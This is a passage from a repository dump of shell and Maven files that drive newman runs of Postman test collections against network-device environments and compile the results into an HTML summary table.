CRUD Config\" \"IFC CRUD HoldTime\" \"IFC CRUD Subinterface-IPv4\" \"IFC CRUD Damping\" \"IFC CRUD Ethernet\" \"BGP-JunosExt CRUD\")\nJUNOS_folders=()\n\n### Special case - some test written for XR5 do not run on virtual devices - we test them on ASR XR6 device\n#XR_devices=(\"asr_env.json\")\nXR_devices=()\n#XR5_folders=(\"IFC CRUD Flows\" \"IFC CRUD Acls\" \"LAG CRUD Flows\" \"LAG CRUD Acls\")\nXR5_folders=()\n\n\nfor device in ${XE_devices[@]}\ndo\n\techo Collection running with $device\n if [ \"$device\" == \"xe_env.json\" ]\n then\n folder=\"XE Mount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${XE_folders[@]}\"\n do\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"XE ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XE) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XE) $folder FAILED\" >> $file; fi \n tfolder=\"XE ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XE) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"XE Unmount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\ndone\n\nfor device in ${XR_devices[@]}\ndo\n\techo Collection running with $device\n if [ \"$device\" == \"xrv5_env.json\" ]\n then\n folder=\"XR5 Mount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${XR5_folders[@]}\"\n do\n rfolder=\"XR5 $folder READERS\"\n newman run $collection -e $device -n 1 --folder \"$rfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $rfolder FAILED\" >> $file; fi\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"XR5 ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $folder FAILED\" >> $file; fi \n tfolder=\"XR5 ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"XR5 Unmount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\n\n if [ \"$device\" == \"asr_env.json\" ]\n then\n folder=\"XR6 Mount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${XR5_folders[@]}\"\n do\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"XR6 ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR6) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR6) $folder FAILED\" >> $file; fi\n \n tfolder=\"XR6 ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR6) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"XR6 Unmount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\n\n\n if [ \"$device\" == \"junos173virt_env.json\" ]\n then\n folder=\"Junos Mount\"\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${JUNOS_folders[@]}\"\n do\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"Junos ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (Junos) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (Junos) $folder FAILED\" >> $file; fi\n\n tfolder=\"Junos ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (Junos) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"Junos Unmount\"\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\n\n\ndone\n\nif [ -f $file ] ; then\n cat $file\n rm $file\nfi\n\n## For html and xml ouputs use this: --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\"\n## For example:\n## newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing Classic $folder FAILED\" >> $file; fi\n" }, { "alpha_fraction": 0.6681416034698486, "alphanum_fraction": 0.7079645991325378, "avg_line_length": 34.3125, "blob_id": "c8ea688449e3c844a2922ddbaa663b545971d413", "content_id": "02229c819c3dac3ee2cd48871213933ff2b1816f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Maven POM", "length_bytes": 1131, "license_type": "no_license", "max_line_length": 204, "num_lines": 32, "path": "/pom.xml", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n ~ Copyright © 2017 Frinx and others. All rights reserved.\n ~\n ~ This program and the accompanying materials are made available under the\n ~ terms of the Eclipse Public License v1.0 which accompanies this distribution,\n ~ and is available at http://www.eclipse.org/legal/epl-v10.html\n -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n <modelVersion>4.0.0</modelVersion>\n\n <groupId>io.frinx.postman</groupId>\n <artifactId>public-postman-collections</artifactId>\n <version>3.1.9.rc10-frinx-SNAPSHOT</version>\n <packaging>pom</packaging>\n\n <prerequisites>\n <maven>3.1.1</maven>\n </prerequisites>\n\n <properties>\n <!-- quickfix for autorelease/_create_release.sh script requiring that \n each submodule should have a 'Release RELEASE_ODL_VERSION' commit -->\n <sample-odl-version>1.2.3-Carbon-SR1.3_1_9_rc10-frinxodl-SNAPSHOT</sample-odl-version>\n </properties>\n\n <build>\n </build>\n\n</project>\n" }, { "alpha_fraction": 0.5813953280448914, "alphanum_fraction": 0.5976215600967407, "avg_line_length": 46.29999923706055, "blob_id": "01bf641aa4f47ad0cea9cd641ff4a1faacdadf7f", "content_id": "1292e466d195fbb3e313bad6a4d07e85a446e45c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 18960, "license_type": "no_license", "max_line_length": 335, "num_lines": 400, "path": "/uniconfig_framework/test_jenkins_unified.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\nset +x\n\ncollection=postman_collection_unified.json\n\n#https://superuser.com/questions/352697/preserve-colors-while-piping-to-tee\ncommand -v unbuffer >/dev/null 2>&1 || { echo >&2 \"It's not installed *unbuffer* script. Please install it: sudo apt-get install expect-dev\"; exit 1; }\n\nfile=list.txt # list of failed tests\nif [ -f $file ] ; then\n rm $file\nfi\n\n# this is preparation for collecting the results to summary table\nfile2=list_of_test2 # list of tests with their results\nif [ -f $file2 ] ; then\n rm $file2\nfi\n\n# function to write result of test\n# the first argument $1 is a result 0/1 of last newman execution (note: newman returs 0 also in case that all tests in folder have not any assertions! Solution is write some assertions.)\n# the second argument $2 is a char r/s/ /t which define the postman collection purpose (reader test/setup/main test/teardown)\nfunction test_pass() {\n #here process file folder_presence_check to prevent to make false entry to the file $file2\n number_of_tests=`grep -o \" 0 \" folder_presence_check | wc -l`\n if [ $number_of_tests -eq 10 ]\n then\n #this indicate that no test was found in folder or folder does not exists\n #│ iterations │ 0 │ 0 │\n #│ requests │ 0 │ 0 │\n #│ test-scripts │ 0 │ 0 │\n #│ prerequest-scripts │ 0 │ 0 │\n #│ assertions │ 0 │ 0 │\n # at the beginning of record there is number 9 to indicate that there was attempt to run test over empty folder\n case \"$2\" in\n \"r\")\n echo \"9Environment_${device}_${folder}_results_readers.xml\" >> $file2;;\n \"s\")\n echo \"9Environment_${device}_${folder}_results_1_setup.xml\" >> $file2;;\n \"\" | \" \")\n echo \"9Environment_${device}_${folder}_results_2.xml\" >> $file2;;\n \"t\")\n echo \"9Environment_${device}_${folder}_results_3_teardown.xml\" >> $file2;;\n esac\n else\n case \"$2\" in\n \"r\")\n echo \"${1}Environment_${device}_${folder}_results_readers.xml\" >> $file2;;\n \"s\")\n echo \"${1}Environment_${device}_${folder}_results_1_setup.xml\" >> $file2;;\n \"\" | \" \")\n echo \"${1}Environment_${device}_${folder}_results_2.xml\" >> $file2;;\n \"t\")\n echo \"${1}Environment_${device}_${folder}_results_3_teardown.xml\" >> $file2;;\n esac\n fi\n}\n\n\n# function to write info about failure of test\n# the first argument $1 is to specify the device e.g XR/XE/Classis\n# the second argument $2 is a char r/s/ /t which define the postman collection purpose (reader test/setup/main test/teardown)\nfunction test_failure_info() {\n case \"$2\" in\n \"r\")\n echo \"Collection $collection with environment $device testing ${1} $rfolder FAILED\" >> $file;;\n \"s\")\n echo \"Collection $collection with environment $device testing ${1} $sfolder FAILED\" >> $file;;\n \"\" | \" \")\n echo \"Collection $collection with environment $device testing ${1} $folder FAILED\" >> $file;;\n \"t\")\n echo \"Collection $collection with environment $device testing ${1} $tfolder FAILED\" >> $file;;\n esac\n}\n\n\n# complex function for calling newman instances (reader tests - setup - main test - teardown) over the list of tests\n# in the funnction are used these variables usually defined before calling of the function:\n# - mount folder\n# - $collection\n# - $formatter_bail --bail --formatters ....\n# - $device\n# - $list_of_tests list of folders -> $folder\n# - $device_folder_string rfolder modifiers\n# - $device_id_string device specific string for test_failure_info\n# - $unmount_folder unmount folder\n#\n# it was added unbuffer script before newman command redirected via tee command\n# to preserve colloring of output\nfunction newman_stuff {\n # https://stackoverflow.com/questions/6871859/piping-command-output-to-tee-but-also-save-exit-code-of-command\n # testing of newman output status was done via variable $?\n # using tee - in variable $? is stored the succees of tee - output of newman will be stored in ${PIPESTATUS[0]}\n folder=$mount_folder\n # in case that mount does not happen we will return from this function because it is useless to try to run all list of tests ...\n unbuffer newman run $collection $formatter_bail -e $device -n 1 --folder \"$folder\" | tee folder_presence_check; if [ \"${PIPESTATUS[0]}\" != \"0\" ]; then test_failure_info \"\" \"\"; test_pass \"1\" \"\";return; else test_pass \"0\" \"\"; fi\n for folder in \"${list_of_tests[@]}\"\n do\n rfolder=\"$device_folder_string $folder READERS\"\n unbuffer newman run $collection $formatter_bail -e $device -n 1 --folder \"$rfolder\" | tee folder_presence_check; if [ \"${PIPESTATUS[0]}\" != \"0\" ]; then test_failure_info \"$device_id_string\" \"r\"; test_pass \"1\" \"r\"; else test_pass \"0\" \"r\"; fi\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 3 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"$device_folder_string ${coll_arr[@]:0:${ll}} Setup\"\n unbuffer newman run $collection $formatter_bail -e $device -n 1 --folder \"$sfolder\" | tee folder_presence_check; if [ \"${PIPESTATUS[0]}\" != \"0\" ]; then test_failure_info \"$device_id_string\" \"s\"; test_pass \"1\" \"s\"; else test_pass \"0\" \"s\"; fi\n unbuffer newman run $collection $formatter_bail -e $device -n 1 --folder \"$folder\" | tee folder_presence_check; if [ \"${PIPESTATUS[0]}\" != \"0\" ]; then test_failure_info \"$device_id_string\" \"\"; test_pass \"1\" \"\"; else test_pass \"0\" \"\"; fi\n tfolder=\"$device_folder_string ${coll_arr[@]:0:${ll}} Teardown\"\n unbuffer newman run $collection $formatter_bail -e $device -n 1 --folder \"$tfolder\" | tee folder_presence_check; if [ \"${PIPESTATUS[0]}\" != \"0\" ]; then test_failure_info \"$device_id_string\" \"t\"; test_pass \"1\" \"t\"; else test_pass \"0\" \"t\"; fi\n sleep 2\n done\n folder=$unmount_folder\n unbuffer newman run $collection $formatter_bail -e $device -n 1 --folder \"$folder\" | tee folder_presence_check; if [ \"${PIPESTATUS[0]}\" != \"0\" ]; then test_failure_info \"\" \"\"; test_pass \"1\" \"\"; else test_pass \"0\" \"\"; fi\n}\n\n\n### Warning: all folders will be the same, input must be trusted\necho \"XXXXXXX Please check that your syntax is ./a env.file '\\\"folder 1\\\" \\\"folder 2\\\" . . . \\\"foledr n\\\"'\"\ndeclare -a \"inp_folders=($2)\"\n\nXR_folders=(\"${inp_folders[@]}\")\nXR5_folders=(\"${inp_folders[@]}\")\nASR_folders=(\"${inp_folders[@]}\")\nXR5_folders_tested_on_ASR=(\"${inp_folders[@]}\")\nClassic_folders=(\"${inp_folders[@]}\")\nXE_folders=(\"${inp_folders[@]}\")\nXE4_folders=(\"${inp_folders[@]}\")\nCAT6500_folders=(\"${inp_folders[@]}\")\njunos_folders=(\"${inp_folders[@]}\")\n\nchosen_devices=(\"$1\")\n\n# https://stackoverflow.com/questions/8880603/loop-through-an-array-of-strings-in-bash\nfor device in \"${chosen_devices[@]}\"\ndo\n # common settings - used for all devices\n formatter_bail=\"--bail\"\n # device specific settings\n case \"$device\" in\n ####################################\n \"xrv_env.json\" )\n mount_folder=\"XR Mount\"\n device_id_string=\"(XR)\" # present in texts\n device_folder_string=\"XR\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${XR_folders[@]}\") # copying of array\n unmount_folder=\"XR Unmount\"\n ;;\n \"xrv5_env.json\" )\n mount_folder=\"XR5 Mount\"\n device_id_string=\"(XR5)\" # present in texts\n device_folder_string=\"XR5\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${XR5_folders[@]}\") # copying of array\n unmount_folder=\"XR5 Unmount\"\n ;;\n \"asr_env.json\" )\n mount_folder=\"XR Mount\"\n device_id_string=\"(ASR)\" # present in texts\n device_folder_string=\"XR\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${ASR_folders[@]}\") # copying of array\n unmount_folder=\"XR Unmount\"\n ;;\n \"asr_env.json with XR5 folders\" )\n\tdevice=\"asr_env.json\" \n mount_folder=\"XR5 Mount\"\n device_id_string=\"(ASR with XR5 folders)\" # present in texts\n device_folder_string=\"XR5\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${XR5_folders_tested_on_ASR[@]}\") # copying of array\n unmount_folder=\"XR5 Unmount\"\n ;;\n ####################################\n \"classic_152_env.json\" )\n mount_folder=\"Classic Mount\"\n device_id_string=\"\" # present in texts\n device_folder_string=\"Classic\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${Classic_folders[@]}\") # copying of array\n unmount_folder=\"Classic Unmount\"\n ;;\n \"classic_1553_env.json\" )\n mount_folder=\"Classic Mount\"\n device_id_string=\"(Classic)\" # present in texts\n device_folder_string=\"Classic\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${Classic_folders[@]}\") # copying of array\n unmount_folder=\"Classic Unmount\"\n ;;\n \"xe_env.json\" )\n mount_folder=\"Classic Mount\"\n device_id_string=\"(XE)\" # present in texts\n device_folder_string=\"Classic\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${XE_folders[@]}\") # copying of array\n unmount_folder=\"Classic Unmount\"\n ;;\n \"xe4_env.json\" )\n mount_folder=\"Classic Mount\"\n device_id_string=\"(XE4)\" # present in texts\n device_folder_string=\"Classic\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${XE4_folders[@]}\") # copying of array\n unmount_folder=\"Classic Unmount\"\n ;;\n \"cat6500_env.json\" )\n mount_folder=\"Classic Mount\"\n device_id_string=\"(CAT)\" # present in texts\n device_folder_string=\"Classic\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${CAT6500_folders[@]}\") # copying of array\n unmount_folder=\"Classic Unmount\"\n ;;\n ####################################\n \"junos_env.json\" )\n mount_folder=\"Junos Mount\"\n device_id_string=\"\" # present in texts\n device_folder_string=\"Junos\" # present in rfolder/sfolder/tfolder\n list_of_tests=(\"${junos_folders[@]}\") # copying of array\n unmount_folder=\"Junos Unmount\"\n ;;\n esac\n\n if [ -f $device ] ; then\n echo Collection running with $device\n newman_stuff # calling function\n else\n echo \"The environment file $device does not exist - collection IS NOT RUN\" >> $file\n fi\ndone\n\n\nif [ -f $file ] ; then\n cat $file\n rm $file\nfi\n\nif [ -f folder_presence_check ] ; then\n rm folder_presence_check\nfi\n\n\n## For html and xml ouputs use this: --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\"\n## For example:\n## newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then test_failure_info \"Classic\" \"\"; fi\n## newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results_readers.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results_readers.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then test_failure_info \"Classic\" \"\"; fi\n## newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results_1_setup.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results_1_setup.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then test_failure_info \"Classic\" \"\"; fi\n## newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results_2.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results_2.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then test_failure_info \"Classic\" \"\"; fi\n##newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results_3_teardown.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results_3_teardown.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then test_failure_info \"Classic\" \"\"; fi\n##newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then test_failure_info \"Classic\" \"\"; fi\n\n\nif ! [ -f \"$file2\" ] ; then\n exit\nfi\necho \"Running python script to prepare summary table tbl.html...\"\n# results of tests were collected to the file $file2\n# one result on one row in the form \"0Environment_${device}_${folder}_results_2.xml\" when test passed\n# one result on one row in the form \"1Environment_${device}_${folder}_results_2.xml\" when test failed\n# this python script will proccess the results into html table\npython3 - $file2 <<'____HERE'\nimport sys\nfrom collections import defaultdict\n# we use dictionary structure for storing summary table\nmatrix_dict = defaultdict(dict)\n#g = []\n# opening of file with results\nwith open(sys.argv[1]) as f:\n # reading file line after line\n for i in f:\n #print(i[-5:-1], i)\n # all tests will be processed - the results of reader tests, setup tests and teardown tests\n # readers\n if i[-6+1-7:-1] == 'readers.xml':\n #g.append(i)\n # finding possition of environment file\n a = i.find('_env.json') + 9\n #print(i[12:a - 9])\n #print(i[a + 1:-6])\n # extracting environment file\n env = i[13:a - 9]\n # extracting the name of test\n tst = i[a + 1:-6-9+1-7]\n # storing the result of test to dictionary structure\n matrix_dict[tst][env + \" 0:r\"] = i[0]\n #print(i[0],i)\n # setups\n if i[-6-6:-1] == '1_setup.xml':\n #g.append(i)\n # finding possition of environment file\n a = i.find('_env.json') + 9\n #print(i[12:a - 9])\n #print(i[a + 1:-6])\n # extracting environment file\n env = i[13:a - 9]\n # extracting the name of test\n tst = i[a + 1:-6-9-6]\n # storing the result of test to dictionary structure\n matrix_dict[tst][env + \" 1:s\"] = i[0]\n #print(i[0],i)\n # main tests\n if i[-6:-1] == '2.xml':\n #g.append(i)\n # finding possition of environment file\n a = i.find('_env.json') + 9\n #print(i[12:a - 9])\n #print(i[a + 1:-6])\n # extracting environment file\n env = i[13:a - 9]\n # extracting the name of test\n tst = i[a + 1:-6-9]\n # storing the result of test to dictionary structure\n matrix_dict[tst][env + \" 2:m\"] = i[0]\n #print(i[0],i)\n # teardown tests\n if i[-6-9:-1] == '3_teardown.xml':\n #g.append(i)\n # finding possition of environment file\n a = i.find('_env.json') + 9\n #print(i[12:a - 9])\n #print(i[a + 1:-6])\n # extracting environment file\n env = i[13:a - 9]\n # extracting the name of test\n tst = i[a + 1:-6-9-9]\n # storing the result of test to dictionary structure\n matrix_dict[tst][env + \" 3:t\"] = i[0]\n #print(i[0],i)\n\n\n## this is to select unique set of devices and of tests to the list structures and to alphabetically sort them\n## kw1 -> testy : all tests are going to be written to list structure \"testy\"\n## kw2_ -> devices : all devices are going to be written to list structure \"devices\"\n## moznost vynechat tie testy ktore nechcem do tabulky zobrazit\ntesty = []\ndevices = []\nfor kw1 in matrix_dict:\n if kw1 not in testy:\n if kw1 not in ('Classic Mount' 'Classic Unmount' 'XR Mount' 'XR Unmount'):\n testy.append(kw1)\n for kw2 in matrix_dict[kw1]:\n if kw2 not in devices:\n if (kw2[-4:] == ' 2:m') and (kw2[0:-4] not in devices):\n devices.append(kw2[0:-4])\n #print(kw1,kw2,matrix_dict[kw1][kw2])\ntesty.sort()\ndevices.sort()\n\n\n## this will construct HTML TABLE with results taken from dictiomary structure\ntabulka = '<h1>Summary table</h1>'\ntabulka = tabulka + '<table border=\"1\">'\ntabulka = tabulka + '<tr><td/>'\nfor stlpec in devices:\n tabulka = tabulka + '<td style=\"writing-mode: vertical-rl;\">' + stlpec + '</td>'\n\ntabulka = tabulka + '</tr>'\nfor riadok in testy:\n tabulka = tabulka + '<tr><td>' + riadok + '</td>'\n for stlpec in devices:\n #print(stlpec)\n\n # reader\n try:\n if matrix_dict[riadok][stlpec + ' 0:r'] == '1':\n tabulka = tabulka + '<td><span style=\"color:red;\">' + 'fail' + '</span><br/>'\n elif matrix_dict[riadok][stlpec + ' 0:r'] == '0':\n tabulka = tabulka + '<td><span style=\"color:green;\">' + 'pass' + '</span><br/>'\n elif matrix_dict[riadok][stlpec + ' 0:r'] == '9':\n tabulka = tabulka + '<td><span>' + 'missing' + '</span><br/>'\n else:\n tabulka = tabulka + '<td><span>' + '????' + '</span><br/>'\n except KeyError:\n tabulka = tabulka + '<td>&nbsp;<br/>'\n\n # CRUD (or main test ...)\n try:\n if matrix_dict[riadok][stlpec + ' 2:m'] == '1':\n tabulka = tabulka + '<span style=\"color:red;\">' + 'fail' + '</span></td>'\n elif matrix_dict[riadok][stlpec + ' 2:m'] == '0':\n tabulka = tabulka + '<span style=\"color:green;\">' + 'pass' + '</span></td>'\n elif matrix_dict[riadok][stlpec + ' 2:m'] == '9':\n tabulka = tabulka + '<span>' + 'missing' + '</span></td>'\n else:\n tabulka = tabulka + '<span>' + '????' + '</span></td>'\n except KeyError:\n tabulka = tabulka + '&nbsp;</td>'\n\n tabulka = tabulka + '</tr>'\n\ntabulka = tabulka + '</table>'\ntabulka = tabulka + '<hr/>'\n#tabulka = tabulka + 'Explanatory notes:<br/>'\n#tabulka = tabulka + '0:r - readers test / 1:s - setup test / 2:m - main test / 3:t - teardown test'\ntabulka = tabulka + 'Legend:<br/>'\ntabulka = tabulka + 'The value on the first line in a cell is a result of the reader test.<br/>'\ntabulka = tabulka + 'The value below on the second line in a cell is a result of the CRUD test.<br/>'\n\n## this is to store TABLE to HTML file\nf = open( 'tbl.html', 'w' )\nf.write( tabulka )\nf.close()\n____HERE\n\nif [ -f $file2 ] ; then\n rm $file2\nfi\n\necho \"The results of all test are summarized in the table tbl.html...\"\n" }, { "alpha_fraction": 0.6605480313301086, "alphanum_fraction": 0.6690609455108643, "avg_line_length": 30.325000762939453, "blob_id": "1dea1aead69742a165e57f4dc345ae463ce090ce", "content_id": "6af23b906106716954f79a947f0bee932be6a5e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3759, "license_type": "no_license", "max_line_length": 299, "num_lines": 120, "path": "/uniconfig_framework/test_replace_config_with_operational.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# Usage:\n# ./test_replace_config_with_operational.sh <odl_ip> <first_device> <device_number> <logfile>\n\n# set -exu\nset +x\n\n# run test\n# parameters\ncollection=\"test_replace_config_with_operational.json\"\ndevice_prefix=\"netconf-\"\n\n# parameters from command line\nodl_ip=$1\nfirst_device=$2\ndevice_number=$3\nlogfile=$4\npeak=`expr $first_device + $device_number`\ndevice_peak=`expr $peak - 1`\n\nrm_file () {\n local _file=$1\n if [ -f $_file ] ; then\n\trm $_file\n fi\n}\n\nnodes_file=\"nodes.csv\"\nrm_file \"$nodes_file\"\necho \"node_id\" >> $nodes_file\nfor (( dev=$first_device; dev<=$first_device+$device_number; dev++ ))\ndo\n node_id=$device_prefix$dev\n echo \"$node_id\" >> $nodes_file\ndone\n\n\n\n#commit and replace config with oper body \nbody=\"{\n \\\"input\\\" : {\n \\\"target-nodes\\\" : {\n \\\"node\\\" :\n \n [\"\n\n\nfor (( dev=$first_device; dev<=device_peak; dev++ ))\ndo\n node_id=$device_prefix$dev\n node_body=\"\n \\\"$device_prefix$dev\\\"\"\n\n \n node_body=\"$node_body\n \"\n\n body=\"$body\n $node_body\n \"\n\n if [ \"$dev\" -ne \"$device_peak\" ]; then\n body=\"$body ,\";\n fi\ndone\n\nbody=\"$body\n ]\n}}}\"\n\n#echo $body\n\n#save body as json and use in postman thru variable \" --env-var \"data=$body\" \"\necho $body > body.json\n\n## since the devices simulated with netconf-testtool are without configuration\n## in order to test the replace-config-with-operational is necessary to have some configuration inside the datastore\n## before the test execution add some configuration for each of the <device_number> devices\n## and commit them to devices\n\n# put configuration for each device\nfolder=\"put_config_in_device\"\n_test_id=\"collection: $collection folder: $folder\"\necho $_test_id\nunbuffer newman run \"$collection\" --bail folder -n \"$device_number\" --folder \"$folder\" --env-var \"odl_ip=$odl_ip\" --iteration-data \"$nodes_file\" --reporters cli,junit --reporter-junit-export \"./junit_results/${folder}_${node_id}.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $logfile; fi\n\n# commit configurations in devices\nfolder=\"commit\"\n_test_id=\"collection: $collection folder: $folder\"\necho $_test_id\nunbuffer newman run \"$collection\" --bail folder -n 1 --folder \"$folder\" --env-var \"odl_ip=$odl_ip\" --env-var \"data=$body\" --reporters cli,junit --reporter-junit-export \"./junit_results/$folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $logfile; fi\n\n\n## once the devices\n\n# repeat the request for 4 times if at least one of them takes more than 60s to terminate\n# then the test fails\n\nfor iteration in `seq 1 4`;\ndo\n # replace config with operational\n folder=\"replace_config_with_operational\"\n 